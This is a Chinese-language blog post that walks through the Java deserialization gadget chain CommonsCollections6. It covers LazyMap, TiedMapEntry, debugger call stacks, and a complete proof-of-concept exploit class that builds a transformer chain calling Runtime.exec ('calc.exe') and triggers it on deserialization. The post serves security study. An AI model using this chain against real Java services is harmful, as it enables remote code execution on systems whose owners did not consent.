首页 > 编程语言 >Java反序列化:CommonsCollections6调试分析

Java反序列化:CommonsCollections6调试分析

时间:2023-09-03 16:11:06浏览次数:43  
标签:map LazyMap Java Map Object key new CommonsCollections6 序列化

JDK8u71大版本中AnnotationInvocationHandler.readObject被修改了,为了使得CC1能够利用,又造了一条CC6

CC6解决的是CC1在高版本 jdk 上无法利用的问题

这里搬一下web佬Boogipop的整理图:

image.png

环境搭建

  • JDK测试版本:JDK 11

基础知识

1. CC1和CC6的恶意代码执行触发链

再来捋顺一下这条恶意代码触发链

LazyMap的get:

image-20230903095547849

Gadget Chain:

                   org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

在函数调用栈中可以查看,最终均由LazyMap.get()调用了transform,然后transform反射完成代码执行

而不同之处在于怎么触发LazyMap()方法

2. LazyMap

看下LazyMap的定义,

LazyMap本身不定义映射实体(即它没有涉及到谁映射谁),它继承了AbstractMapDecorator相关方法来完成put

其主要功能是定义了这种懒加载特性

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;

    public static Map decorate(Map map, Factory factory) {		// 本质上就是创建新的LazyMap对象
        return new LazyMap(map, factory);
    }

    public static Map decorate(Map map, Transformer factory) {		
        return new LazyMap(map, factory);
    }

    protected LazyMap(Map map, Factory factory) {				// LazyMap本身不定义映射实体,所以需要放置一个Map对象
        
        super(map);									// 放入父类属性
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = FactoryTransformer.getInstance(factory);
        }
    }

    protected LazyMap(Map map, Transformer factory) {			
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

    private void writeObject(ObjectOutputStream out) throws IOException {  // 序列化时用
        out.defaultWriteObject();
        out.writeObject(super.map);
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {		// 反序列化时用
        in.defaultReadObject();
        super.map = (Map)in.readObject();
    }
t
    public Object get(Object key) {					// 懒加载获取值
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);			// 获取值
            super.map.put(key, value);							// 调用父类映射键值对
            return value;
        } else {
            return super.map.get(key);
        }
    }
}

3. TiedMapEntry

TiedMapEntry是 Apache Commons Collections 中的一个类,它是一种特定的数据结构,用于将两个 Map 对象绑定在一起,以实现双向映射(Bidirectional Map)。Apache Commons Collections 是一个 Java 库,提供了许多实用的集合类和数据结构,以扩展和增强 Java 标准库中的集合功能。

TiedMapEntry 实际上是一个包装类,用于将两个 Map 对象连接在一起,使得一个 Map 中的键可以映射到另一个 Map 中的相应值,反之亦然。这种双向映射可以方便地实现一对一或多对一的关系。

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);					// 我们只需要将this.map声明为LazyMap对象,触发getValue方法即可恶意代码执行
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Map.Entry)) {
            return false;
        } else {
            Map.Entry other = (Map.Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {					
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

调试分析

1. Gadget Chain

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
*/

2. 调试过程

  • 老惯例,先查看函数调用栈

image-20230903100547893

反序列化开始时,调用了ObjectInputStream的readObject方法,经过一系列的反射调用。

最终实例化调用HaspMap的readObject函数(反序列化所要操作的对象)

  • 在HashMap的readObject函数中调用了Hash函数

image-20230903101406092

由此进入了CommonsCollections相关类

核心调用

HashMap.hash -> TiedMapEntry.hashCode -> TiedMapEntry.getValue -> LazyMap.get
  • 调用HashMap的hash方法,然后进一步调用了TiedMapEntry的hashCode方法

    image-20230903112025218

  • TiedMapEntry的hashCode方法中调用了TiedMapEntry的getValue函数

image-20230903112117105

  • 最终实现调用了LazyMap的get函数

image-20230903112135006

  • 后续部分就是ChainedTransformer.transform()函数的反射调用了

EXP

关于Serialization和DeSerialization可以参考ysoserial的相关定义

一种EXP:

package CC6;

import utils.DeSerialization;
import utils.Reflection;
import utils.Serialization;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6EXP {
    public static void main(String[] args) throws Exception{

        // Transformer数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1)
        };

        // 生成链
        ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});


        // CC6相关函数进行链接
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);// 在decorate中最终调用getInstance实例,然后封装好

        TiedMapEntry tme = new TiedMapEntry(outerMap, "key"); 

        
        // HashMap思路
        Map expMap = new HashMap();
        
        expMap.put(tme, "value");
        innerMap.remove("key"); 
        // 因为 HashMap put 时也会调用 key.hashCode()
        // 所以需要将原来的 key 删除
        // 否则无法进行LazyMap进入innerMap
     
       	
        Reflection.setFieldValue(transformerChain, "iTransformers", transformers);
        
        // 序列化
        byte[] ObjectBytes = Serialization.serialize(expMap);
		// 反序列化
        DeSerialization.deserialize(ObjectBytes);

    }
}

EXP的大致关系图如下

image-20230903155212948

remove原因

调用栈如下:

expMap在进行put的时候,以TiedMapEntry对象为key的时候会调用到hash方法,hash方法中又调用hashCode方法

image-20230903155503487

最终会进行innerMap的这一层的懒加载

如果没有remove,则无法进入innerMap的LazyMap的transform调用

image-20230903152419349

标签:map,LazyMap,Java,Map,Object,key,new,CommonsCollections6,序列化
From: https://www.cnblogs.com/icfh/p/17675095.html

相关文章

  • java嵌套while循环直接结束外层循环的方法
    方法①给外层的while循环起一个名字,然后在需要直接结束外层循环的时候将break;改为break循环的名字;(该方法也可以通过给特定的while循环起名字,对应地结束该循环)1publicclassMain{2publicstaticvoidmain(String[]args){3loop:while(true){4Sy......
  • JavaTest
    1packageJavaTest;23publicclassScoreInformation{4Stringstunumber;//八位数字5Stringname;6Stringstuclass;7Stringpapertitle;//限制为10个字符8Stringpaperbody;//限制为200个字符9doublepaperpass=0;//......
  • Java客户端使用指南
    一、准备工作二、MavenDependency三、客户端用法3.1API使用方式3.1.1获取默认namespace的配置3.1.2监听配置变化事件3.1.3获取公共Namespace的配置3.1.4获取非properties格式namespace的配置3.2Spring整合方式3.2.1配置3.2.1.1基于XML的配置3.2.1.2基于Java的配置(推荐)3.2......
  • javaweb中servlet的使用案例,登录、注册
    2023-09-03注册packagecom.hh.web;/***@authorhh*@version1.0*@DATE2023-09-0314:56:28*/importcom.hh.mapper.UserMapper;importcom.hh.pojo.User;importcom.hh.util.SqlSessionFactoryUtil;importorg.apache.ibatis.io.Resources;importorg.a......
  • 无涯教程-JavaScript - RANK函数
    RANK函数取代了Excel2010中的RANK.EQ函数。描述该函数返回数字列表中数字的等级。数字的等级是其相对于列表中其他值的大小。如果对列表进行排序,则数字的排名将是其位置。语法RANK(number,ref,[order])争论Argument描述Required/OptionalNumberThenumberwhose......
  • java判断用户输入的数据类型
    1publicclassDemo1{2publicstaticvoidmain(String[]args){3Scannerinput=newScanner(System.in);4System.out.println("请输入一个数字:");5if(input.hasNextInt()){6intnum=input.nextInt();......
  • 无涯教程-JavaScript - QUARTILE函数
    QUARTILE函数取代了Excel2010中的QUARTILE.INC函数。描述该函数返回数据集的四分位数。四分位数通常用于销售和调查数据中,以将人群分为几类。语法QUARTILE(array,quart)争论Argument描述Required/OptionalArrayThearrayorcellrangeofnumericvaluesforwhi......
  • JS基础-初识JavaScript
    前面讲了前端开发必备的三种语言。其中的HTML、CSS我们基本上有了比较正确的认识。这里讲一下JavaScript。语言功能结构层HTML搭建结构、放置部件、描述定义样式层CSS美化页面、实现布局行为层JavaScript实现交互效果、数据收发、表单验证HTML构成了......
  • java面向对象高级(根据青空的霞光总结)
    #面向对象高级(青空)基本类型包装类前置:虽然java是面向对象的语言,但是基本类型不是面向对象的,如果想要让基本类型也能像面向对象的形式进行表达,就可以是用包装类包装类实际上就是将我们的基本数据类型,封装成一个类(运用了封装的思想)类型:byte->Byteboolean->Booleans......
  • javaweb中解决get与post中文乱码问题的方式
    2023-09-03packagecom.hh.RequestAndResponse;/***@authorhh*@version1.0*@DATE2023-09-0312:51:44*/importjavax.servlet.ServletException;importjavax.servlet.annotation.WebServlet;importjavax.servlet.http.HttpServlet;importjavax.servl......